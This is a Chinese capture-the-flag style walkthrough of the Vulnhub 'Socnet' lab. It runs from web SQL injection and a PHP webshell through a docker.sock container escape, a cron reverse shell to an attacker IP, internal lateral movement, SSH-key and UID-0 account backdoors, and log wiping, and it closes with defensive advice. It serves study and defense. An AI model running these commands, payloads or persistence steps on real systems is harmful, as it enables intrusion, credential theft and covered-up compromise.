从Web渗透到内网横向:Docker逃逸与容器安全实战剖析
1. 项目概述:一次完整的渗透测试实战演练
最近在Vulnhub上发现一个名为“Socnet”的靶机,它模拟了一个从容器逃逸到内网横向移动的完整攻击链场景。这不仅仅是又一个CTF挑战,它高度还原了现代云原生和混合网络环境中,攻击者可能采取的典型路径。很多朋友在接触渗透测试时,常常把各个知识点孤立看待,比如端口扫描归端口扫描,Web漏洞归Web漏洞,提权归提权,内网渗透又是另一套。但这个靶机巧妙地将它们串联了起来,形成了一个有逻辑递进关系的“故事线”:你首先需要攻破一个暴露在公网的Web应用,然后利用其进入一个Docker容器,接着从容器内部突破到宿主机,最后以宿主机为跳板,对内网的其他系统进行探测和攻击。整个过程环环相扣,缺一不可,非常考验综合能力和对攻击链的全局理解。
我花了一个周末的时间,从零开始完整地走通了这条攻击链。过程中踩了不少坑,也总结出一些在常规教程里不太会提到的细节和技巧。比如,在Docker逃逸环节,如何快速判断可利用的逃逸向量;在内网信息收集时,如何高效地梳理网络拓扑和定位关键资产。这篇文章,我就把这次实战的完整过程、技术细节、工具使用的心得,以及那些“踩坑”后才知道的注意事项,毫无保留地分享出来。无论你是正在学习渗透测试的新手,还是想巩固内网知识的老兵,相信都能从中获得一些直接的、可复现的参考。
2. 靶机环境搭建与初始信息收集
2.1 靶机获取与网络配置
Vulnhub上的靶机通常以OVA或压缩包形式提供。下载“Socnet”后,我使用VMware Workstation进行导入。这里第一个需要注意的点是网络模式的选择。为了模拟从外部攻击者到内网渗透的真实场景,我建议将靶机的网络适配器设置为“NAT模式”。在VMware的NAT模式下,虚拟机会被分配一个与宿主机不同网段的IP地址(例如192.168.xxx.xxx),并且可以通过宿主机进行NAT转换访问外网。同时,VMware会默认为这个NAT网络创建一个虚拟的DHCP服务器和虚拟网卡(VMnet8)。我们的Kali攻击机也需要连接到同一个VMnet8网络,这样才能与靶机处于同一广播域,进行直接的网络扫描和攻击。
启动靶机后,首要任务是获取它的IP地址。靶机通常不会直接显示IP,我们需要通过ARP扫描或利用Netdiscover工具来发现它。我习惯先用一个快速命令来探测活跃主机:
sudo netdiscover -r 192.168.1.0/24这里的192.168.1.0/24需要替换成你VMnet8网卡所在的真实网段。你可以通过在Kali中运行ip addr show或ifconfig来查看VMnet8(或类似命名的接口)的IP地址,从而确定网段。很快,扫描结果中会出现一个陌生的MAC地址和IP,那就是我们的目标靶机。记下这个IP地址,假设为192.168.1.105。
注意:有时Netdiscover可能因为网络环境复杂而漏扫。一个备用的方法是利用Nmap进行ping扫描:
sudo nmap -sn 192.168.1.0/24。-sn参数表示只进行主机发现(ping扫描),不进行端口扫描,速度很快。对比扫描结果中出现的、非你已知设备(如你的宿主机、路由器、其他虚拟机)的IP,基本就是靶机。
2.2 全面的端口与服务探测
拿到IP后,下一步就是进行全面的端口扫描,摸清靶机对外开放了哪些服务,这是渗透测试的“敲门砖”。我通常不会一上来就用最激进的扫描,而是分步骤进行,既避免遗漏,也避免过早触发可能的防御机制。
首先,进行一次快速的全端口扫描,使用-p-参数指定所有65535个端口,-T4加快速度,--min-rate 1000设置最小发包速率以保证速度:
sudo nmap -p- -T4 --min-rate 1000 192.168.1.105这次扫描的目的是快速找出所有开放的端口号。等待扫描完成后,假设我们发现了22,80,5000三个端口开放。
接下来,针对这些开放的端口,进行更精细化的版本和服务探测。这是关键一步,因为知道服务的具体版本号,才能精准地搜索对应的漏洞。
sudo nmap -p22,80,5000 -sV -sC -O 192.168.1.105 -oN nmap_detail.txt参数解释:
-p22,80,5000: 只扫描我们刚才发现的开放端口。-sV: 探测服务/版本信息。-sC: 使用默认的Nmap脚本进行扫描,这些脚本能进行一些基本的漏洞检测和信息收集(如HTTP标题获取、SSH协议类型等)。-O: 尝试进行操作系统识别。-oN nmap_detail.txt: 将详细的扫描结果输出到文件,方便后续查阅。
扫描报告可能会显示:
- 端口22 (SSH): 运行着OpenSSH 7.6p1。这个版本相对较新,需要关注是否有已知的严重漏洞(如用户枚举、认证绕过等),但通常不是最优先的突破口。
- 端口80 (HTTP): 运行着一个Apache httpd 2.4.29。这是我们的重点目标,Web应用是常见的入口点。
- 端口5000 (HTTP): 运行着一个Werkzeug httpd 0.14.1 (Python Flask)。这是一个Python的轻量级Web服务器,通常用于开发环境或微服务。在实战中,非标准端口(非80/443)的Web服务往往因为管理疏忽而存在更多安全问题,需要重点关注。
2.3 Web应用初步侦查与目录爆破
既然有两个Web服务(80和5000),我们自然要从它们入手。首先用浏览器访问http://192.168.1.105。打开页面,可能是一个简单的企业门户、博客系统,或者是一个登录界面。用浏览器的开发者工具(F12)查看页面源代码,寻找注释、隐藏表单、JS文件中的敏感信息(如API路径、测试账号等)。
同时,使用工具对网站目录和文件进行暴力枚举。我常用的是gobuster,它速度快,字典丰富。
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,json,bak参数解释:
dir: 指定进行目录扫描模式。-u: 指定目标URL。-w: 指定字典文件路径。common.txt是一个常用的基础字典。-x: 指定需要尝试的文件扩展名。这里添加了常见的Web文件后缀。
对端口5000的服务也执行同样的操作:
gobuster dir -u http://192.168.1.105:5000 -w /usr/share/wordlists/dirb/common.txt -x py,txt,json注意这里扩展名增加了py,因为Flask应用常用Python文件。
在扫描过程中,保持浏览器访问和工具扫描并行。你可能会发现一些有趣的路径,比如/admin,/login,/upload,/api,/backup,/robots.txt等。robots.txt文件有时会暴露出不想被爬虫抓取的目录,这些目录往往包含管理后台或敏感文件。
3. 漏洞利用与初始立足点获取
3.1 Web漏洞发现与利用
假设通过对端口80的Web应用进行目录扫描和手动测试,我们发现了一个存在SQL注入漏洞的登录页面(例如/login.php)。使用Burp Suite拦截登录请求,将用户名参数(如user)替换为经典的注入测试载荷' or '1'='1,如果返回了与其他错误不同的响应(例如登录成功跳转或显示了数据库错误信息),则证实存在漏洞。
为了高效利用,我通常会使用sqlmap进行自动化注入和数据提取。首先将Burp拦截到的HTTP请求保存到一个文件(比如req.txt),然后运行:
sqlmap -r req.txt --batch --dbs参数解释:
-r req.txt: 从文件中读取HTTP请求。--batch: 以非交互模式运行,所有提示都选择默认选项,适合自动化。--dbs: 尝试枚举数据库管理系统中有哪些数据库。
如果成功,sqlmap会列出数据库名,比如information_schema,mysql,socnetdb等。我们的目标显然是业务数据库socnetdb。接着枚举该数据库中的表:
sqlmap -r req.txt -D socnetdb --tables --batch找到用户表后(例如users),进一步dump表中的数据:
sqlmap -r req.txt -D socnetdb -T users --dump --batch这样,我们很可能就获取到了网站后台的管理员用户名和密码(可能是明文,也可能是哈希值)。如果密码是哈希(如MD5),可以尝试在线网站(如cmd5.com)或本地用hashcat进行破解。
用得到的凭证成功登录后台后,我们需要寻找获取Webshell或命令执行的方法。常见途径包括:
- 文件上传功能:后台是否有上传图片、文档的地方?尝试上传一个包含PHP代码的图片马(使用
exiftool或直接在文件末尾追加代码),或者直接上传.php后缀的文件,如果服务器未做严格过滤,就可能成功。 - 配置修改/插件安装:有些CMS后台允许编辑模板文件,我们可以将恶意代码写入一个
.php模板文件中。 - 命令注入点:后台是否有“ping测试”、“数据库备份”等功能?这些功能可能直接调用系统命令,如果参数未过滤,就可能存在命令注入。
假设我们在后台找到一个不安全的文件上传点,成功上传了一个一句话木马文件shell.php,内容为<?php system($_REQUEST['cmd']);?>。访问这个文件,并通过URL参数?cmd=id来执行命令,如果返回了当前用户的uid等信息,说明我们获得了Webshell,取得了初始的命令执行权限。
3.2 容器环境感知与权限提升准备
通过Webshell执行一些基础信息收集命令:
whoami uname -a cat /etc/passwd df -h ls -la /whoami告诉我们当前是www-data用户,权限很低。uname -a显示内核版本。但最关键的是检查我们是否在容器内。有几个快速判断的方法:
- 检查
/.dockerenv文件:ls -la /.dockerenv。如果这个文件存在,几乎可以肯定是在Docker容器内。 - 检查
/proc/1/cgroup:cat /proc/1/cgroup。如果输出内容中包含docker、kubepods等字样,也说明在容器内。 - 检查挂载点:
mount。查看是否有明显的Docker卷挂载。 - 检查进程:
ps auxf。查看进程树,如果PID 1的进程是一个简单的应用进程(如python、node),而不是systemd或init,也暗示是容器环境。
在我们的场景中,很可能发现/.dockerenv文件存在,并且/proc/1/cgroup里包含docker字符串,确认了我们处于一个Docker容器中。这意味着我们当前的权限被限制在容器这个“沙箱”里。我们的下一个目标,就是实现“Docker逃逸”,即突破容器隔离,获取到宿主机(Host)的权限。
4. Docker逃逸技术深度剖析与实战
4.1 Docker逃逸原理与常见向量
Docker逃逸的本质是利用容器配置缺陷、内核漏洞或Docker守护进程(Docker Daemon)的权限问题,来打破命名空间(Namespace)和控制组(Cgroup)等隔离机制,从而在宿主机上执行代码。常见的逃逸向量包括:
- 特权模式容器(
--privileged):这是最危险的一种配置。以--privileged标志运行的容器,几乎拥有对宿主机的所有能力,可以轻松挂载宿主机根文件系统并进行操作。 - 挂载宿主机敏感目录:如果启动容器时,将宿主机根目录(
/)、/etc、/var/run/docker.sock等敏感路径挂载到了容器内部,就为逃逸创造了条件。特别是/var/run/docker.sock,它是Docker守护进程的Unix套接字,容器内进程如果能够访问它,就可以直接向Docker守护进程发送API命令,从而在宿主机上启动新的容器(通常是一个特权容器),实现逃逸。 - 内核漏洞:如著名的Dirty COW(CVE-2016-5195)、runc容器逃逸漏洞(CVE-2019-5736, CVE-2021-30465)等。利用这些漏洞,可以从容器内直接提权到宿主机root。
- SYS_ADMIN等危险Capabilities:Docker默认会移除一些危险的内核能力(Capabilities),但如果启动容器时额外添加了
SYS_ADMIN、SYS_MODULE等,容器就可能具备加载内核模块、挂载文件系统等危险能力。
在实战中,我们首先需要判断当前容器环境存在哪种逃逸可能性。通过Webshell执行信息收集命令:
# 检查是否以特权模式运行 cat /proc/self/status | grep CapEff # 特权容器的CapEff值通常是 0000003fffffffff 或类似的全权限值。也可以简单检查 /dev 目录下是否有很多设备文件。 ls -la /dev/ # 检查挂载情况,寻找宿主机路径 mount cat /proc/mounts # 特别留意是否有 `/`, `/etc`, `/var/run/docker.sock` 等路径被挂载进来。 # 检查内核版本,看是否有已知漏洞 uname -a4.2 利用挂载的Docker Socket实现逃逸
假设通过mount命令,我们惊喜地发现容器内挂载了/var/run/docker.sock。这是最经典、也最“优雅”的一种逃逸方式。其原理是:Docker守护进程监听在Unix套接字/var/run/docker.sock上,任何有权限读写这个套接字的进程,都可以通过Docker API向守护进程发送指令。由于守护进程以root权限运行,这些指令就具备了在宿主机上执行的能力。
我们在容器内,虽然只是www-data用户,但如果这个挂载的sock文件权限设置不当(例如rw-rw-rw-),或者我们当前用户属于可以访问它的组,我们就能利用它。
首先,检查sock文件的权限和所属组:
ls -la /var/run/docker.sock如果显示类似srw-rw---- 1 root docker,意味着所有属于docker组的用户都有读写权限。我们需要检查当前用户是否在docker组内:
id如果id命令的输出中包含docker组,那么逃逸条件就成熟了。即使不在docker组,如果文件权限是666(rw-rw-rw-),任何用户都可读写,那条件更直接。
接下来,我们需要在容器内与Docker守护进程通信。最直接的方法是安装Docker客户端(docker命令),但容器内可能没有。更通用的方法是使用任何能发送HTTP请求的工具,因为Docker API本质上是RESTful的。我们可以使用curl。
测试连接性:
curl --unix-socket /var/run/docker.sock http://localhost/version如果返回一串JSON,包含了Docker版本信息,说明API通信成功。
创建一个新的特权容器,并挂载宿主机根目录: 我们需要构造一个POST请求来创建容器。这里提供一个使用
curl的完整示例。我们创建一个配置为特权模式、并挂载宿主机/目录到容器内/mnt目录的容器。curl -X POST -H "Content-Type: application/json" \ --unix-socket /var/run/docker.sock \ -d '{ "Image": "alpine:latest", "Cmd": ["sh"], "HostConfig": { "Privileged": true, "Binds": ["/:/mnt"] } }' \ http://localhost/containers/create?name=evil_container这个命令会返回一个JSON,其中包含新创建容器的ID。
启动这个容器:
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/evil_container/start在容器内执行命令: 现在,我们可以通过Docker API的
exec端点,在这个新创建的、拥有特权并挂载了宿主机根目录的evil_container内执行命令。例如,我们想查看宿主机的/etc/shadow文件:# 首先创建exec实例 EXEC_ID=$(curl -s -X POST -H "Content-Type: application/json" \ --unix-socket /var/run/docker.sock \ -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Tty": false, "Cmd": ["cat", "/mnt/etc/shadow"] }' \ http://localhost/containers/evil_container/exec | jq -r '.Id') # 然后启动这个exec实例,获取输出 curl -s -X POST -H "Content-Type: application/json" \ --unix-socket /var/run/docker.sock \ -d '{"Detach": false, "Tty": false}' \ http://localhost/exec/$EXEC_ID/start注意,上面的命令用到了
jq来解析JSON。如果容器内没有jq,可以手动从第一次curl的返回结果中提取Id字段的值。
实操心得:在实际操作中,直接手敲这么长的
curl命令容易出错。我的做法是,先在攻击机(Kali)上写好这些命令,然后通过Webshell的echo命令将多行内容写入容器内的一个脚本文件(如/tmp/escape.sh),再赋予执行权限并运行。这样更可靠。另外,如果容器内没有curl,可以尝试用wget、nc甚至用编程语言(如Python)来发送HTTP请求,思路是一样的。
通过这种方式,我们成功读取了宿主机的/etc/shadow文件,这标志着Docker逃逸成功,我们获得了在宿主机上读取任意文件的能力。接下来,我们可以进一步尝试写入文件(比如写入SSH公钥)或者直接执行命令来获取一个反向Shell,从而在宿主机上获得一个更稳定的交互式会话。
5. 宿主机权限巩固与内网侦察
5.1 建立持久化反向Shell
通过Docker API执行命令虽然有效,但每次操作都需要构造复杂的HTTP请求,不方便进行后续的内网渗透。我们需要在宿主机上建立一个持久的、交互式的反向Shell连接。
我们可以利用刚才的逃逸能力,在宿主机上写入一个定时任务(Cron Job)或者启动一个系统服务来连接我们的攻击机。这里以写入Cron任务为例,因为它相对简单通用。
首先,在攻击机(Kali,IP假设为192.168.1.100)上监听一个端口:
nc -lvnp 4444然后,通过Docker API在宿主机上创建计划任务,每分钟(或每几分钟)执行一次连接命令。我们需要将命令写入/etc/crontab或/var/spool/cron/root等位置。这里选择/etc/crontab,因为它是一个系统级的crontab文件。
使用之前的curl命令执行宿主机命令,写入cron任务:
# 注意,下面的命令是在容器内,通过Docker API对宿主机执行的 # 假设我们已经通过之前的步骤获取了在宿主机执行命令的能力,这里简化为一个概念性命令 echo "* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'" >> /mnt/etc/crontab这条命令会在宿主机的/etc/crontab文件末尾追加一行,意思是每分钟以root身份执行一个反向Shell命令,连接到我们攻击机的4444端口。
等待一分钟左右,攻击机的nc监听器就会收到来自宿主机的反向Shell连接,并且是root权限!现在,我们有了一个在宿主机上的稳定立足点。
注意事项:这种方法动静很大,会每分钟建立一次连接,并且会修改系统关键文件,在真实环境中极易被检测。在靶机练习中可以使用,但在实际渗透测试中,需要采用更隐蔽的持久化方式,如写入
~/.ssh/authorized_keys、创建隐蔽的后门服务或利用LD_PRELOAD等。拿到Shell后,第一件事就是清理痕迹,删除添加的cron任务。
5.2 宿主机信息收集与网络拓扑探测
获得宿主机root Shell后,我们需要进行深入的信息收集,为内网渗透做准备。这就像特种部队空降到敌后,首先要摸清周围环境。
系统信息:
uname -a # 内核版本,判断是否有内核漏洞可利用进行二次提权(虽然已是root,但了解系统有助后续) cat /etc/os-release # 系统发行版信息 hostname # 主机名 history # 查看命令历史,可能发现管理员的操作习惯、密码等信息(需root权限)用户与权限信息:
cat /etc/passwd # 所有用户 cat /etc/shadow # 用户密码哈希(现在可以读了) cat /etc/group # 用户组信息 sudo -l # 查看当前用户(如果是非root用户提权上来的)能以sudo执行哪些命令进程与服务:
ps auxef # 查看所有进程,寻找数据库服务(MySQL, PostgreSQL)、中间件(Redis, Memcached)、CI/CD工具(Jenkins, GitLab)等,这些可能是内网的其他目标或包含凭证。 netstat -tulnp 或 ss -tulnp # 查看网络连接和监听端口,发现宿主机上除了已知的22,80,5000,还有哪些服务监听在本地(127.0.0.1)或其他网卡上。 systemctl list-units --type=service # 查看所有系统服务网络配置与邻接主机发现:
ip addr show 或 ifconfig # 查看所有网络接口和IP地址。关键是要发现除了我们已知的NAT网卡(如eth0: 192.168.1.105)之外,是否有其他网卡(如eth1, docker0, br-xxx)。 ip route show 或 route -n # 查看路由表,了解有哪些网段是直接可达的。 arp -a 或 ip neigh show # 查看ARP缓存,发现同一广播域内的其他主机。 cat /etc/resolv.conf # 查看DNS服务器,可能指向内网的DNS,从而推断内网域结构。 cat /etc/hosts # 查看静态主机名解析,可能包含其他内网服务器的主机名和IP。
假设通过ip addr show,我们发现宿主机还有一张网卡eth1,IP地址是172.16.5.10。ip route show显示有一条到172.16.5.0/24网段的路由。这很可能就是靶机模拟的“内网”环境。我们的目标从这台宿主机(现在可称为“跳板机”或“攻击机2号”)出发,向172.16.5.0/24这个内网段进行渗透。
6. 内网横向移动技术与实战
6.1 内网扫描与资产发现
现在,我们以宿主机(172.16.5.10)为据点,对内网网段172.16.5.0/24进行扫描。由于宿主机上可能没有完整的渗透测试工具集,我们需要上传一些轻量级工具,或者利用系统自带的工具进行扫描。
方法一:使用系统自带工具
nmap:如果宿主机安装了nmap,那最好不过。可以直接扫描。ping+bash脚本:如果没有nmap,可以写一个简单的bash循环进行ping扫描,发现存活主机。for i in {1..254}; do ping -c 1 -W 1 172.16.5.$i & done | grep fromnetcat:可以用来进行简单的端口扫描(TCP Connect扫描)。for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/172.16.5.1/$port" 2>/dev/null && echo "172.16.5.1:$port is open"; done
方法二:上传静态编译的工具更高效的方法是上传一个静态编译的nmap二进制文件。先在Kali上找到它:locate nmap | grep static,通常路径像/usr/share/nmap/nmap。然后通过反向Shell的cat命令或简单的HTTP服务上传到靶机。
在Kali上启动一个临时的HTTP服务:
python3 -m http.server 8080在靶机宿主机Shell中,下载nmap:
wget http://192.168.1.100:8080/nmap-static -O /tmp/nmap chmod +x /tmp/nmap然后使用它进行扫描:
/tmp/nmap -sn 172.16.5.0/24 # 主机发现 /tmp/nmap -sS -p 1-1000 172.16.5.1-254 # 对发现的IP进行SYN端口扫描假设扫描发现内网中有两台活跃主机:
172.16.5.1:可能是网关或路由器。172.16.5.100:开放了80端口(HTTP)和3306端口(MySQL)。
6.2 针对内网服务的漏洞利用
现在,我们的目标转向内网主机172.16.5.100。由于我们处在内网中,可以直接访问它的服务。
Web服务侦察:在跳板机上,我们可以用
curl或wget访问http://172.16.5.100,查看是什么应用。或者,我们可以将跳板机的流量通过SSH隧道或代理工具(如reGeorg,EarthWorm)转发回我们的Kali攻击机,以便使用Kali上更强大的图形化工具(如Burp Suite)进行测试。这里介绍一个简单的SSH动态端口转发方法(前提是跳板机上有SSH服务且我们能连接)。在跳板机上执行:
ssh -D 1080 -N -f user@localhost这会在跳板机上创建一个SOCKS5代理(监听1080端口)。然后在Kali的浏览器或Burp Suite中配置代理为跳板机的IP和1080端口,这样我们的流量就会通过跳板机访问内网
172.16.5.100的Web服务。MySQL服务攻击:发现开放了3306端口,很可能是MySQL数据库。我们可以尝试弱口令爆破。在跳板机上使用
hydra:hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://172.16.5.100如果跳板机没有
hydra,可以上传静态编译版本,或者用简单的bash脚本配合mysql客户端尝试。更常见的情况是,在之前的信息收集中,我们可能已经从Web应用的配置文件中找到了数据库连接密码(如config.php,.env文件),这些密码很可能被复用!假设我们通过某种方式(如爆破、配置文件泄露)获得了MySQL的root密码。连接进去后,可以尝试利用MySQL的
INTO OUTFILE功能写入Webshell(如果知道Web目录路径),或者利用MySQL的UDF(User Defined Function)提权到系统权限。在MySQL中执行:select @@version; select @@plugin_dir; show variables like '%secure_file_priv%';查看
secure_file_priv的值,如果为空或指向一个目录,则有可能写入文件。凭证复用与密码喷洒:在渗透测试中,凭证复用(Password Reuse)和密码喷洒(Password Spraying)是极其有效的横向移动手段。我们在外网Web应用、跳板机上收集到的用户名、密码、哈希,一定要整理成清单,用于尝试登录内网的其他服务(如SSH, RDP, SMB, MySQL, PostgreSQL等)。可以使用工具如
CrackMapExec(针对SMB/WinRM)、Medusa、Hydra进行自动化尝试。
6.3 利用跳板机进行中继攻击
如果内网环境是一个Windows域环境,我们可能会利用到诸如LLMNR/NBT-NS投毒、SMB中继(Relay)等攻击。这些攻击通常需要攻击机位于目标内网同一网段。此时,我们的跳板机(宿主机)就成为了一个完美的“中继站”。
我们可以将攻击工具(如responder,impacket套件中的ntlmrelayx.py)上传到跳板机上运行。例如,运行responder监听内网网卡,捕获NetNTLM哈希,然后使用ntlmrelayx.py将捕获的哈希中继到特定的目标机器(如域控制器),如果中继成功,就能在该目标机器上执行命令。
这类攻击对环境和配置有一定要求(如SMB签名需关闭),但一旦成功,威力巨大。在靶机环境中,可能会设置这样的场景来练习。
7. 权限维持、数据窃取与清理痕迹
7.1 权限维持技术
在成功渗透多台内网主机后,我们需要建立持久的访问通道,以防现有的连接(如反向Shell)中断。
SSH公钥注入:这是Linux/Unix系统上最优雅、最隐蔽的后门之一。获取目标主机(包括跳板机和内网其他Linux主机)的root或用户权限后,将自己的SSH公钥(
id_rsa.pub)追加到对应用户家目录下的~/.ssh/authorized_keys文件中。echo "ssh-rsa AAAAB3NzaC1yc2E... your-public-key" >> /root/.ssh/authorized_keys之后就可以直接用私钥免密登录。
创建后门账户:在Linux上添加一个具有sudo权限的隐藏用户,在Windows上添加一个隐藏的管理员账户。
- Linux:在
/etc/passwd中添加一个UID为0(root)的用户,但使用一个不常见的用户名和/bin/false的shell,避免在who等命令中显示。echo "backdoor:x:0:0:root:/root:/bin/false" >> /etc/passwd echo "backdoor:*:19296:0:99999:7:::" >> /etc/shadow # 设置一个无法直接登录的密码哈希 # 更推荐的做法是设置一个强密码,然后通过su切换。 - Windows:使用
net user命令添加用户并加入管理员组,或使用wmic等工具。
- Linux:在
计划任务与系统服务:如前所述,利用cron或systemd创建定时反向连接或监听后门。
Web后门:在已经控制的Web服务器上,留下一个加密的、混淆的Webshell,作为备用入口。
7.2 数据窃取与敏感信息收集
渗透的最终目的往往是获取敏感数据。需要系统性地搜索以下信息:
- 配置文件:
*.php,*.yml,*.properties,*.env,*.config等,寻找数据库密码、API密钥、加密密钥。 - 数据库文件:直接dump整个MySQL、PostgreSQL数据库。查找SQLite文件(
.db,.sqlite)。 - 用户目录:
/home/*,C:\Users\*,寻找*.txt,*.docx,*.xlsx,*.pdf,以及Desktop,Documents,Downloads目录。 - 备份文件:
*.bak,*.tar.gz,*.zip,*.7z。 - 版本控制:
.git/,.svn/目录,可能泄露源代码和历史记录。 - 密码管理器与浏览器数据:寻找
kwallet,gnome-keyring, 浏览器Login Data文件等。
可以使用工具如linpeas.sh(Linux)或winpeas.bat(Windows)进行自动化信息收集,它们能快速定位常见的安全隐患和敏感文件。
7.3 清理入侵痕迹
在渗透测试的最后阶段(或真实攻击中为了隐匿),需要清理日志,避免被管理员发现。主要清理以下几类日志:
命令历史:
# 清理当前用户的命令历史 history -c # 清除内存中的历史 rm ~/.bash_history # 删除历史文件 ln -s /dev/null ~/.bash_history # 或者将其链接到/dev/null,使后续命令不记录系统日志:
/var/log/auth.log,/var/log/secure(SSH登录日志)/var/log/syslog,/var/log/messages(系统通用日志)/var/log/apache2/*,/var/log/nginx/*(Web访问日志)/var/log/mysql/*(数据库日志) 使用sed或直接删除相关行,但要注意操作本身也会被记录。更高级的做法是使用日志注入工具或直接停止日志服务(但可能引起怀疑)。
Web访问日志:删除包含你IP地址或攻击载荷的访问记录。
文件时间戳:使用
touch命令修改你创建或修改过的后门文件的时间戳,使其与周围文件保持一致。
重要提醒:在授权的渗透测试或CTF比赛中,清理痕迹通常不是必须的,甚至是不被允许的(以便主办方审查)。但在学习过程中,了解这些技术是必要的。在真实环境中,未经授权的系统访问和修改日志是违法行为。
8. 总结与防御建议思考
走完从外网Web入侵到Docker逃逸,再到内网横向移动的完整链条,我们可以清晰地看到,一个微小的入口点(如一个SQL注入)是如何被层层利用,最终导致整个内网沦陷的。这凸显了纵深防御(Defense in Depth)的重要性。
从防御视角回顾整个攻击链,可以得出以下几点关键建议:
- 对外服务最小化:严格过滤对外开放的端口和服务。非必要的服务绝不暴露在公网。Web应用要做好输入验证、输出编码,使用参数化查询防止SQL注入,对文件上传进行严格的白名单校验。
- 容器安全加固:
- 绝不使用
--privileged标志运行容器。 - 避免将宿主机敏感目录(如
/,/etc,/var/run/docker.sock)挂载到容器。如果必须挂载sock,务必设置严格的权限(如chmod 660 /var/run/docker.sock && chown root:docker /var/run/docker.sock),并确保容器内用户不在docker组。 - 使用非root用户运行容器内的进程(
Dockerfile中使用USER指令)。 - 及时更新Docker引擎和容器镜像,修复已知漏洞。
- 绝不使用
- 网络隔离与分段:将不同的业务系统划分到不同的VLAN或子网中,并通过防火墙策略严格控制东西向流量(服务器之间的流量)。确保即使一台服务器被攻陷,攻击者也不能轻易访问到核心业务区(如数据库服务器)。
- 内网安全监控:部署IDS/IPS、网络流量分析(NTA)和端点检测与响应(EDR)系统,监控异常的网络连接(如内网主机突然对大量IP进行端口扫描)、可疑的进程行为(如容器内进程尝试访问
/etc/shadow)和特权命令的执行。 - 凭证安全管理:强制使用强密码,启用多因素认证(MFA)。严禁密码复用,对服务账户使用复杂的随机密码并定期更换。使用集中化的密钥管理服务,避免在配置文件中硬编码密码。
- 最小权限原则:为每个服务、每个账户分配完成任务所需的最小权限。数据库用户不应有
FILE权限,应用程序账户不应有sudo权限。
这次靶机实战就像一次完整的“攻防演练”,它不仅锻炼了我们的攻击技术,更重要的是让我们能从攻击者的视角理解防御的薄弱环节在哪里。真正的安全不在于堵住某一个漏洞,而在于构建一个即使某个点被突破,也能将损失控制在最小范围的弹性体系。
